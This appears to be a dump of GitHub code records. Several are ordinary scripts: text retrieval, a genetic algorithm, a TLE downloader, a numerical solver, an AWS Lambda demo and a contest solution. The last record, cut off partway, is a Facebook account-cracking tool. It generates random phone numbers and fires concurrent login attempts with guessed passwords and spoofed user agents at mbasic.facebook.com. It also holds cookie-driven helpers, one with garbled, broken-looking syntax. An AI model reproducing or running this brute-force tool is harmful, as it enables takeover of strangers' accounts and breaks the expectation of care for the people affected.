"20803271021", "text": "import numpy as np\nimport pandas as pd\nimport re\nimport torch\nimport faiss\nimport time\nimport os\nimport pickle\nimport sys\nfrom scipy import spatial\nfrom transformers import AutoTokenizer, AutoModel\nfrom candidate_generation import get_sentence_embeddings,generate_candidates,faiss_index\n\nqa_pairs = pd.read_pickle('../formatted_data/stackoverflow/answer_title_body_lookup.pkl')\nqa_pairs_dict = dict(qa_pairs)\n\ndef reranking(title_list,query):\n answers_list = []\n query_embedding = get_sentence_embeddings(query)\n \n for idx in range(0,10):\n answers_list.append(qa_pairs_dict[title_list[idx]])\n #print(idx+1,\":\",qa_pairs_dict[question_list[idx]])\n answer_embeddings = get_sentence_embeddings(answers_list)\n \n scored_answers = {}\n for idx,answer_embedding in enumerate(answer_embeddings):\n result = 1 - spatial.distance.cosine(query_embedding, answer_embedding)\n scored_answers[result]=answers_list[idx]\n ranked_answers = dict(sorted(scored_answers.items(), key=lambda item: item[0],reverse = True))\n \n return ranked_answers\n\ndef main():\n if len(sys.argv) < 2:\n print(f\"Incorrect Usage, kindly enter your query\")\n return\n \n query = [sys.argv[1]] \n question_list = generate_candidates(query)\n \n print(\"Candidates generated...Reranking\")\n \n ranked_answers = reranking(question_list,query)\n \n print(\"==========================\")\n print(\"Retrieved Descriptions:\")\n print(\"==========================\") \n for idx,ranked_answer in enumerate(ranked_answers.values()):\n print(idx+1,\":\",ranked_answer)\n print()\n \nif __name__ == \"__main__\":\n main()", "repo_name": "Sarangu/Semantic-Text-Matching-using-Deep-Learning", "sub_path": "information_retrieval.py", "file_name": "information_retrieval.py", "file_ext": "py", "file_size_in_byte": 1687, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_pickle", "line_number": 14, "usage_type": "call"}, {"api_name": "candidate_generation.get_sentence_embeddings", "line_number": 19, "usage_type": "call"}, {"api_name": "candidate_generation.get_sentence_embeddings", "line_number": 24, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.cosine", "line_number": 28, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 28, "usage_type": "attribute"}, {"api_name": "scipy.spatial", "line_number": 28, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 35, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 39, "usage_type": "attribute"}, {"api_name": "candidate_generation.generate_candidates", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "24994923267", "text": "import random\nimport numpy as np\nimport extra_lib.metamodel as hospitalModel\nimport matplotlib.pyplot as plt\nimport extra_lib.monitor as monitor\n\n\nclass ag_asex:\n def __init__(self):\n self.mem = []\n self.cpu = []\n self.mm = hospitalModel.metamodel()\n self.mm.fit()\n self.exp = np.arange(4)\n self.low_bounds = np.array([1, 1, 1, 1, 1])\n self.high_bounds = np.array([3, 4, 5, 6, 12])\n self.quantizations = (self.high_bounds - self.low_bounds) / (\n 2 ** 4 - 1\n ) # quantização\n self.fc = (\n lambda x, exp, _type: np.sum(x * 2 ** exp) * self.quantizations[_type]\n + self.low_bounds[_type]\n ) # decoficação\n\n self.fy = (\n lambda x1, x2, x3, x4, x5: 1.113 * self.fc(x2, self.exp, 1).astype(int)\n + 0.701\n * self.fc(x2, self.exp, 1).astype(int)\n * self.fc(x3, self.exp, 2).astype(int)\n + 0.207\n * self.fc(x2, self.exp, 1).astype(int)\n * self.fc(x5, self.exp, 4).astype(int)\n + 0.021\n * self.fc(x1, self.exp, 0).astype(int)\n * self.fc(x5, self.exp, 4).astype(int)\n - 0.435 * self.fc(x2, self.exp, 1).astype(int) ** 2\n - 0.013\n * self.fc(x2, self.exp, 1).astype(int)\n * self.fc(x5, self.exp, 4).astype(int) ** 2\n - 0.092\n * self.fc(x2, self.exp, 1).astype(int)\n * self.fc(x3, self.exp, 2).astype(int) ** 2\n - 1\n + 1 / self.fc(x4, self.exp, 3).astype(int)\n )\n self.fm = lambda x1, x2, x3, x4, x5: self.mm.predict(\n [\n self.fc(x1, self.exp, 0).astype(int),\n self.fc(x2, self.exp, 1).astype(int),\n self.fc(x3, self.exp, 2).astype(int),\n self.fc(x3, self.exp, 3).astype(int),\n self.fc(x4, self.exp, 4).astype(int),\n ]\n )[0][0]\n\n def setModel(self, model):\n self.mm = model\n\n def getModel(self):\n return self.mm\n\n def agOptim(self, fitness, with_plot=False):\n print(\"Entre com a quantidade de gerações:\")\n M = int(input())\n print()\n\n print(\"Informe o valor da autorreprodução (valor negativo):\")\n self_reproduction = int(input())\n print()\n\n print(\"Informe a taxa de mutacao (%):\")\n mutation_rate = int(input())\n print()\n\n\n def uso_recursos(self):\n memoria, processador = monitor.monitor()\n self.mem.append(memoria)\n self.cpu.append(processador)\n\n s0 = np.array(\n [0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0]\n ) # Estado inicial\n score = [] # melhor resultado da função fitness\n score_fit = [] # Armazena o melhor da geração\n\n def cromo(s0):\n \"\"\" Separa cromossomo em 5 partes\"\"\"\n vet = []\n vet.append(s0[0:4])\n vet.append(s0[4:8])\n vet.append(s0[8:12])\n vet.append(s0[12:16])\n vet.append(s0[16:])\n return vet\n\n for i in range(M):\n cromosome = [] # Guarda os cromossomos com crossover\n fit = [] # Guarda saída da função objetiva\n for j in range(len(s0) // 2 + 1): # Rotaciona até dar uma volta completa\n v = cromo(s0.copy()) #quebra em quatro partes\n temp_max = fitness(\n v[0], v[1], v[2], v[3], v[4]\n ) # Retorna a função fitness\n fit.append(temp_max) # guarda resultado fitness\n cromosome.append(s0.copy()) # guarda o cromossomo\n mutate = random.randint(0, 100)\n if (np.min(temp_max) < 0) | (mutate==mutation_rate):\n # aplica mutacao para evitar funç��o obj negativa e cromossomo repetido\n pos = np.random.randint(4) # Escolhe uma das 5 variáveis\n np.random.shuffle(\n v[pos]\n ) # Embaralha os bits de umas da variável (muda numero)\n s0 = (\n list(v[0]) + list(v[1]) + list(v[2]) + list(v[3]) + list(v[4])\n ) # junta partes\n s0 = np.roll(s0, self_reproduction) # Gera novos individuos com mesmo cromossomo\n score.append(np.max(fit)) # Armazena 0 melhor resultado da geracao\n score_fit.append(cromosome[np.argmax(fit)]) # Armazena o melhor cromossomo\n\n if np.median(score) == np.max(fit): # Se resultado eh repetido (moda dos resultados obtidos)\n s0 = cromosome[np.random.randint(len(fit))] # pega outro cromossomo diferente para self.explorar outro espaco\n else:\n s0 = cromosome[np.argmax(fit)] # Pega o melhor resultado\n\n uso_recursos(self)\n\n best = score_fit[np.argmax(score)] # pega melhor cromossomo\n best_varb = cromo(best) # quebra em 5 variaveis binaria\n best_value = fitness(\n best_varb[0], best_varb[1], best_varb[2], best_varb[3], best_varb[4]\n ) # Converte para funcao fitness para decimal\n best_var = [\n self.fc(best_varb[0], self.exp, 0).astype(int),\n self.fc(best_varb[1], self.exp, 1).astype(int),\n self.fc(best_varb[2], self.exp, 2).astype(int),\n self.fc(best_varb[3], self.exp, 3).astype(int),\n self.fc(best_varb[4], self.exp, 4).astype(int),\n ] # Converte em 5 variaveis\n print(\n f\"Best value: {best_value} best cromosome {best} best combination of variables {best_var}\"\n )\n\n if with_plot:\n plt.plot(score)\n plt.savefig(\"score.png\")\n\n # print(\"Monitoramos o uso de memória e cpu durante as gerações. \"\n # \"Gostaria de ver os resultos em gráfico?\")\n # print()\n # print(\"1 - Sim\")\n # print(\"0 - Nao\")\n # print()\n # segue = int(input())\n\n # if (segue == 1):\n # plt.ylabel('Memória')\n # plt.plot(self.mem)\n # plt.show()\n\n # plt.ylabel('CPU')\n # plt.plot(self.cpu)\n # plt.show()\n\n # print(np.max(score))\n\n# Como chamar agOptim(nome da funcao)\n# variable = ag_asex()\n# Usar a rede neural\n# variable.agOptim(variable.fm ,with_plot=True)\n# Usar equacao\n# variable.agOptim(variable.fy)\n# definir rede neural diferente\n# variable.setModel(test)\n\n# Exemplo de uso\n# ag1 = ag_asex()\n# ag1.agOptim(ag1.fm)\n# ag1q.agOptim(ag1.fy)\n", "repo_name": "MatteusStranger/genetic_algorithm_mc906", "sub_path": "extra_lib/ag_asex.py", "file_name": "ag_asex.py", "file_ext": "py", "file_size_in_byte": 7174, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "extra_lib.metamodel.metamodel", "line_number": 12, "usage_type": "call"}, {"api_name": "extra_lib.metamodel", "line_number": 12, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 21, "usage_type": "call"}, {"api_name": "extra_lib.monitor.monitor", "line_number": 77, "usage_type": "call"}, {"api_name": "extra_lib.monitor", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 81, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.random.shuffle", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.roll", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}]} +{"seq_id": "12429147698", "text": "#!/usr/bin/env python3\n\n__author__ = \"Van Graham\"\n__version__ = \"1.0\"\n\nfrom argparse import ArgumentParser\nimport requests\nfrom os import path\nfrom re import match\nimport logging\n\nNORAD_URL = 'https://celestrak.com/NORAD/elements/gp.php'\n\ndef read_satellites_file(file_path: str) -> list:\n satellites = []\n if not path.exists(file_path):\n raise FileNotFoundError(f\"File not found: {file_path}\")\n\n with open(file_path, 'r') as input:\n for line in input:\n if line.startswith('#'):\n continue\n matched = match(r\"([0-9]{5}).*\", line)\n if matched:\n catalog_number = matched.group(1)\n logging.debug(f'Found catalog number: {catalog_number}.')\n satellites.append(catalog_number)\n\n return satellites\n\n\ndef download_tle(catalog_number: str) -> list:\n data = []\n url = f'{NORAD_URL}?CATNR={catalog_number}'\n\n response = requests.get(url)\n\n if response.status_code == 200:\n raw = response.content.split(b'\\r\\n')\n data = [x for x in raw if x.strip()]\n else:\n logging.error(response.reason)\n\n return data\n\n\nif __name__== \"__main__\":\n\n logging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s', level=logging.INFO)\n\n parser = ArgumentParser(description='Custom TLE file generator.', prog='tle_gen')\n parser.add_argument('-i','--input', help='Download TLE for the specified catalog numbers.')\n parser.add_argument('-o','--output', help='Output file path.')\n parser.add_argument('-v','--version', help='Show version.', action='version', version='%(prog)s v' + __version__)\n\n args = vars(parser.parse_args())\n\n # Tracked satellites file\n tr_file = 'satellites.txt'\n\n # Output default file paths\n out_files = [path.join('C:/WXtoImg', 'custom.tle'), \n path.join('C:/Program Files (x86)/Orbitron/Tle', 'custom.tle')]\n\n if args['output']:\n out_files = [args['output']] # If specific output is given, use it\n\n if args['input']:\n input_list = args['input'].replace(\" \", \"\").split(',')\n else:\n try:\n input_list = read_satellites_file(tr_file)\n except FileNotFoundError as err:\n logging.error(err)\n exit(1)\n\n if len(input_list) == 0:\n logging.info('Invalid satellite list.')\n exit(1)\n\n for out_file in out_files:\n with open(out_file, 'wb') as output:\n for elem in input_list:\n data = download_tle(elem)\n if not len(data) == 3:\n logging.warning('Could not get TLE for: {0}'.format(elem))\n continue\n for line in data:\n output.write(line + b'\\r\\n')\n logging.info('Saved TLE for {0} in {1}.'.format((data[0].decode()).strip(), out_file))\n\n logging.info('Custom TLE file saved in \\\"{0}\\\".'.format(path.abspath(out_file)))\n", "repo_name": "VandolinHimself/Norad-TLE-gen", "sub_path": "tle_gen.py", "file_name": "tle_gen.py", "file_ext": "py", "file_size_in_byte": 2940, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.exists", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "name"}, {"api_name": "re.match", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 26, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 36, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 49, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 74, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 78, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 90, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "name"}]} +{"seq_id": "22249600726", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 21 15:45:48 2018\n\n@author: ms1409\n\"\"\"\n\nimport numpy as np\nimport scipy as sp\nimport scipy.linalg as la\n\ndef BTCS(phiOld, c, nt):\n \n nx = len(phiOld)\n \n \n A = np.zeros((nx, nx))\n \n for i in range (0, nx):\n A[i,i] = 1\n \n for j in range (0, nx-1):\n A[j+1,j] = -c/2\n A[j,j+1] = c/2\n \n\n A[0,nx-1] = -c/2\n A[nx-1,0] = c/2\n\n # new time-step array for phi\n phi = phiOld.copy()\n \n # BTCS for each time-step\n for it in range(nt):\n phi = la.solve(A,phi)\n \n \n # update arrays for next time-step\n# phiOld = phi.copy()\n\n return phi \n\n\n", "repo_name": "ManuSidhu/linearAdvectionTeaching-master", "sub_path": "BTCS_advection.py", "file_name": "BTCS_advection.py", "file_ext": "py", "file_size_in_byte": 721, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.zeros", "line_number": 18, "usage_type": "call"}, {"api_name": "scipy.linalg.solve", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.linalg", "line_number": 36, "usage_type": "name"}]} +{"seq_id": "29851602594", "text": "import boto3\n\ndef lambda_handler(event,context):\n try:\n if event is not None:\n message = 'Hello {} {}!'.format(event['first_name'], event['last_name'])\n return {\n 'message': message\n }\n else:\n print(\"event is null \")\n\n except Exception as e:\n print(\"pls check not found values\",e)\n\n\n\ndef create_table(dynamodb=None):\n dynamodb = boto3.resource(\n 'dynamodb', endpoint_url=\"http://localhost:8000\")\n # Table defination\n table = dynamodb.create_table(\n TableName='table_name',\n KeySchema=[\n {\n 'AttributeName': 'primary_key_id',\n 'KeyType': 'HASH' # Partition key or sort key(RANGE)\n },\n {\n 'AttributeName': 'datacount',\n 'KeyType': 'RANGE' # Sort key\n }\n ],\n AttributeDefinitions=[\n {\n 'AttributeName': 'device_id',\n # AttributeType defines the data type. 'S' is string type and 'N' is number type\n 'AttributeType': 'S' #string type\n },\n {\n 'AttributeName': 'datacount',\n 'AttributeType': 'N'\n },\n ],\n ProvisionedThroughput={\n # ReadCapacityUnits set to 10 strongly consistent reads per second\n 'ReadCapacityUnits': 10,\n 'WriteCapacityUnits': 10 # WriteCapacityUnits set to 10 writes per second\n }\n )\n return table\n\n\n\nif __name__ == '__main__':\n table = create_table()\n # Print table status\n print(\"Status:\", table.table_status)", "repo_name": "dineshwagh9146/Demo-project", "sub_path": "Demo_project/Demo_lambda/src/demo_lambda.py", "file_name": "demo_lambda.py", "file_ext": "py", "file_size_in_byte": 1658, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "boto3.resource", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "13678615220", "text": "from collections import defaultdict\n\ndef prime_factor(n):\n ass = []\n for i in range(2,int(n**0.5)+1):\n while n % i==0:\n ass.append(i)\n n = n//i\n if n != 1:\n ass.append(n)\n return ass\n\ndef main():\n N = int(input())\n d = defaultdict(int)\n for i in range(1,N+1):\n for j in prime_factor(i):\n d[j] += 1\n # 1 * 75\n # 3 * 25\n # 5 * 15\n # 3 * 5 * 5\n e = defaultdict(int)\n for i, j in d.items():\n if j >= 2:\n e[2] += 1\n if j >= 4:\n e[4] += 1\n if j >= 14:\n e[14] += 1\n if j >= 24:\n e[24] += 1\n if j >= 74:\n e[74] += 1\n ans = 0\n ans += (e[2] - 1) * e[24]\n ans += (e[4] - 1) * e[14]\n ans += e[74]\n ans += (e[2] - 2) * e[4] * (e[4] - 1) // 2\n print(ans)\n\nif __name__ == \"__main__\":\n main()", "repo_name": "tails1434/Atcoder", "sub_path": "ABC/114/D-2.py", "file_name": "D-2.py", "file_ext": "py", "file_size_in_byte": 880, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.defaultdict", "line_number": 15, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 23, "usage_type": "call"}]} +{"seq_id": "14133668977", "text": "# Facebook: JISAN King\r\n# Github: JISAN-King\r\nimport os,sys,time,json,random,re,string,platform,base64,uuid\r\nos.system(\"git pull\")\r\nfrom bs4 import BeautifulSoup as sop\r\nfrom bs4 import BeautifulSoup\r\nimport requests as ress\r\nfrom datetime import date\r\nfrom datetime import datetime\r\nfrom time import sleep\r\nfrom time import sleep as waktu\r\ntry:\r\n import requests\r\n from concurrent.futures import ThreadPoolExecutor as ThreadPool\r\n import mechanize\r\n from requests.exceptions import ConnectionError\r\nexcept ModuleNotFoundError:\r\n os.system('pip install mechanize requests futures bs4==2 > /dev/null')\r\n os.system('pip install bs4')\r\n \r\n#---------------------[APPLICATION CHECKER]---------------------#\r\ndef cek_apk(session,coki):\r\n w=session.get(\"https://mbasic.facebook.com/settings/apps/tabbed/?tab=active\",cookies={\"cookie\":coki}).text\r\n sop = BeautifulSoup(w,\"html.parser\")\r\n x = sop.find(\"form\",method=\"post\")\r\n game = [i.text for i in x.find_all(\"h3\")]\r\n if len(game)==0:\r\n print(f'\\r%s[%s!%s] %sSorry there is no Active Apk%s '%(N,M,N,M,N))\r\n else:\r\n print(f'\\r %s \\x1b[1;95m Your Active Apps :{WHITE}'%(GREEN))\r\n for i in range(len(game)):\r\n print(f\"\\r[%s%s] %s%s\"%(N,i+1,game[i].replace(\"Ditambahkan pada\",\" Ditambahkan pada\"),N))\r\n #else:\r\n #print(f'\\r %s[%s!%s] Sorry, Apk check failed invalid cookie'%(N,M,N))\r\n w=session.get(\"https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive\",cookies={\"cookie\":coki}).text\r\n sop = BeautifulSoup(w,\"html.parser\")\r\n x = sop.find(\"form\",method=\"post\")\r\n game = [i.text for i in x.find_all(\"h3\")]\r\n if len(game)==0:\r\n print(f'\\r%s[%s!%s] %sSorry there is no Expired Apk%s \\n'%(N,M,N,M,N))\r\n else:\r\n print(f'\\r %s \\x1b[1;95m Your Expired Apps :{WHITE}'%(M))\r\n for i in range(len(game)):\r\n print(f\"\\r[%s%s] %s%s\"%(N,i+1,game[i].replace(\"Kedaluwarsa\",\" Kedaluwarsa\"),N))\r\n else:\r\n print('')\r\n\r\ndef follow(self, session, coki):\r\n r = BeautifulSoup(session.get('https://mbasic.facebook.com/profile.php?id=100015315258519', {\r\n 'cookie': coki }, **('cookies',)).text, 'html.parser')\r\n get = r.find('a', 'Ikuti', **('string',)).get('href')\r\n session.get('https://mbasic.facebook.com' + str(get), {\r\n 'cookie': coki }, **('cookies',)).text\r\n\r\n#---------------------[MAIN MENU]---------------------#\r\n \r\n \r\n \r\nclass jalan:\r\n def __init__(self, z):\r\n for e in z + \"\\n\":\r\n sys.stdout.write(e)\r\n sys.stdout.flush()\r\n time.sleep(0.009)\r\n \r\nP = '\\x1b[1;97m'\r\nM = '\\x1b[1;91m'\r\nH = '\\x1b[1;92m'\r\nK = '\\x1b[1;93m'\r\nB = '\\x1b[1;94m'\r\nU = '\\x1b[1;95m' \r\nO = '\\x1b[1;96m'\r\nN = '\\x1b[0m' \r\nZ = \"\\033[1;30m\"\r\nsir = '\\033[41m\\x1b[1;97m'\r\nx = '\\33[m' # DEFAULT\r\nm = '\\x1b[1;91m' #RED +\r\nk = '\\033[93m' # KUNING +\r\nxr = '\\x1b[1;92m' # HIJAU +\r\nhh = '\\033[32m' # HIJAU -\r\nu = '\\033[95m' # UNGU\r\nkk = '\\033[33m' # KUNING -\r\nb = '\\33[1;96m' # BIRU -\r\np = '\\x1b[0;34m' # BIRU +\r\nasu = random.choice([m,k,xr,u,b])\r\nmy_color = [\r\n P, M, H, K, B, U, O, N]\r\nwarna = random.choice(my_color)\r\nnow = datetime.now()\r\ndt_string = now.strftime(\"%H:%M\")\r\ncurrent = datetime.now()\r\nta = current.year\r\nbu = current.month\r\nha = current.day\r\ntoday = date.today()\r\nos.system('xdg-open https://www.facebook.com/TurRealabbu1')\r\nos.system('espeak -a 300 \" Welcome, to, JISAN, WORLD \"')\r\nlogo =(\"\"\"\r\n\\033[33;1m ╦ ╦\\033[31;1m╔═╗\\033[34;1m╔╦╗\\033[35;1m╦\\033[32;1m╔╦╗ \\x1b[1;96m╦ ╦\\x1b[38;5;208m╔╦╗\\033[31;1m╔╦╗\\033[1;97m╦\\033[1;30m╔╗╔\\33[33;1m ╦\\33[35;1m╦\\33[32;1m╔═╗\\33[31;1m╔═╗\\33[34;1m╔╗╔\r\n\\033[33;1m ╠═╣\\033[31;1m╠═╣\\033[34;1m║║║\\033[35;1m║\\033[32;1m║║║ \\x1b[1;96m║ ║ \\x1b[38;5;208m║║ \\033[31;1m║║\\033[1;97m║\\033[1;30m║║║ \\33[33;1m ║\\33[35;1m║\\33[32;1m╚═╗\\33[31;1m╠═╣\\33[34;1m║║║\r\n\\033[33;1m ╩ ╩\\033[31;1m╩ ╩\\033[34;1m╩ ╩\\033[35;1m╩\\033[32;1m╩ ╩ \\x1b[1;96m╚═╝\\x1b[38;5;208m═╩╝\\033[31;1m═╩╝\\033[1;97m╩\\033[1;30m╝╚╝ \\33[33;1m╚╝\\33[35;1m╩\\33[32;1m╚═╝\\33[31;1m╩ ╩\\33[34;1m╝╚╝\r\n\\033[38;5;46m┌━━━━━━━━━━━━━━━━━━\\033[33;1m⊱ ⊰\\033[38;5;46m━━━━━━━━━━━━━━━━━━┐\\033[33;1m \\033[38;5;46m\r\n\\033[38;5;46m│ \\033[1;97m[\\033[31;1m<>\\033[1;97m] \\033[33;1m𝘈𝘜𝘛𝘏𝘖𝘙 \\033[1;97m : \\033[34;1mITZ JISAN XHOWDHURY \\033[38;5;46 \r\n\\033[38;5;46m│ \\033[1;97m[\\033[31;1m<>\\033[1;97m] \\033[33;1m𝘎𝘐𝘛𝘏𝘜𝘉 \\033[1;97m: \\033[34;1mX1X4D-2-0 \\033[38;5;46m │ \\033[33;1\r\n\\033[38;5;46m│ \\033[1;97m[\\033[31;1m<>\\033[1;97m] \\033[33;1m𝘞𝘏𝘈𝘛𝘚𝘈𝘗𝘗 \\033[1;97m : \\033[34;1m01814649133 \\033[38;5;46m│\r\n\\033[38;5;46m│ \\033[1;97m[\\033[31;1m<>\\033[1;97m] \\033[33;1m𝘗𝘖𝘞𝘌𝘙 \\033[1;97m : \\033[34;1mITZ JISAN \\033[38;5;46m│\r\n\\033[38;5;46m└━━━━━━━━━━━━━━━━━━\\033[33;1m⊱ ⊰\\033[38;5;46m━━━━━━━━━━━━━━━━━━┘\"\"\")\r\nloop = 0\r\noks = []\r\ncps = []\r\n \r\ndef clear():\r\n os.system('clear')\r\n print(logo)\r\nfrom time import localtime as lt\r\nfrom os import system as cmd\r\nltx = int(lt()[3])\r\nif ltx > 12:\r\n a = ltx-12\r\n tag = \"PM\"\r\nelse:\r\n a = ltx\r\n tag = \"AM\"\r\n \r\n \r\ntry:\r\n print('\\n\\n\\033[1;33mLoading asset files ... \\033[0;97m')\r\n v = 5.2\r\n update = ('5.2')\r\n update = ('5.2')\r\n if str(v) in update:\r\n os.system('clear')\r\n else:pass\r\nexcept:print('\\n\\033[1;31mNo internet connection ... \\033[0;97m')\r\n#global functions\r\ndef dynamic(text):\r\n titik = ['. ','.. ','... ','.... ']\r\n for o in titik:\r\n print('\\r'+text+o),\r\n sys.stdout.flush();time.sleep(1)\r\n \r\n#User agents\r\nugen2=[]\r\nugen=[]\r\n \r\nugen=[ ]\r\nfor ua in range(5000):\r\n a='Mozilla/5.0 (Linux; Android'\r\n b=random.choice(['5.0.2','6.0.1','5.1.1','5.0','5.0.1','7.0','10','11','12','13','14','15','16','17','18','19','20'])\r\n c='SM-J710F Build/M1AJQ; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'\r\n d=random.randrange(40,115)\r\n e='0'\r\n f=random.randrange(3000,6000)\r\n g=random.randrange(20,100)\r\n h='Mobile Safari/537.36'\r\n ug=(f\"{a} {b} ; {c} {d}.{f}.{g} {h}\")\r\n ugen.append(ug) \r\n# APK CHECK\r\ndef xxr():\r\n user=[]\r\n twf =[]\r\n os.getuid\r\n os.geteuid\r\n os.system(\"clear\")\r\n print(logo)\r\n print(f' [{xr}+{x}] Example>: {xr}019,017,018,92302,92301,91778{x}')\r\n print(\"===============================================\")\r\n rk1 = '0171'\r\n rk2 = '0172'\r\n rk3 = '0175'\r\n rk4 = '017'\r\n code = random.choice([rk1,rk2,rk3]) # input(f' [{xr}■{x}] Choose : ')\r\n os.system('clear')\r\n print(logo)\r\n limit = int(input(f'\\033[0;97m[{xr}+{x}]\\033[0;92m EXAMPLE : \\033[0;93m10000, \\x1b[38;5;208m20000, \\033[0;92m50000 ] \\n\\033[0;95m=============================================== \\n\\033[0;97m[{xr}^{x}] \\033[0;92mPUT CLONING LIMIT:\\033[0;93m '))\r\n for nmbr in range(limit):\r\n nmp = ''.join(random.choice(string.digits) for _ in range(7))\r\n user.append(nmp)\r\n os.system(\"clear\")\r\n print(logo)\r\n passx = 0\r\n HamiiID = []\r\n print(\"\")\r\n for bilal in range(passx):\r\n pww = input(f\"[*] Enter Password {bilal+1} : \")\r\n HamiiID.append(pww)\r\n with ThreadPool(max_workers=50) as manshera:\r\n clear()\r\n tl = str(len(user))\r\n jalan('\\x1b[1;96m====================================================')\r\n jalan(f'[{xr}^{x}]\\x1b[38;5;208m YOUR TOTAL IDS: {xr}'+tl)\r\n jalan(f'{x}[{xr}^{x}]\\x1b[1;96m PLEASE WAIT YOUR CLONING PROCESS HAS BEEN STARTED')\r\n jalan(f'\\x1b[1;96m[{xr}^{x}]\\033[0;93m USE YOUR MOBILE DATA ')\r\n jalan(f'\\x1b[1;96m[{xr}^{x}] \\x1b[38;5;208mUse Flight Mode For Speed Up')\r\n jalan(f'\\x1b[1;96m[{xr}^{x}] \\033[0;95mSuper Fast Speed Cloning')\r\n jalan('\\x1b[1;96m====================================================')\r\n for love in user:\r\n pwx = [love]\r\n uid = code+love\r\n for Eman in HamiiID:\r\n pwx.append(Eman)\r\n pwx.append(love)\r\n manshera.submit(rcrack,uid,pwx,tl)\r\n print(f\"\\n{x} ====================================================\")\r\ndef rcrack(uid,pwx,tl):\r\n #print(user)\r\n global loop\r\n global cps\r\n global oks\r\n global proxy\r\n try:\r\n for ps in pwx:\r\n pro = random.choice(ugen)\r\n session = requests.Session()\r\n free_fb = session.get('https://mbasic.facebook.com').text\r\n log_data = {\r\n \"lsd\":re.search('name=\"lsd\" value=\"(.*?)\"', str(free_fb)).group(1),\r\n \"jazoest\":re.search('name=\"jazoest\" value=\"(.*?)\"', str(free_fb)).group(1),\r\n \"m_ts\":re.search('name=\"m_ts\" value=\"(.*?)\"', str(free_fb)).group(1),\r\n \"li\":re.search('name=\"li\" value=\"(.*?)\"', str(free_fb)).group(1),\r\n \"try_number\":\"0\",\r\n \"unrecognized_tries\":\"0\",\r\n \"email\":uid,\r\n \"pass\":ps,\r\n \"login\":\"Log In\"}\r\n header_freefb = {\"authority\": 'mbasic.facebook.com',\r\n \"method\": 'GET',\r\n \"scheme\": 'https',\r\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\r\n 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',\r\n 'cache-control': 'max-age=0',\r\n 'sec-ch-ua': '\"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"',\r\n 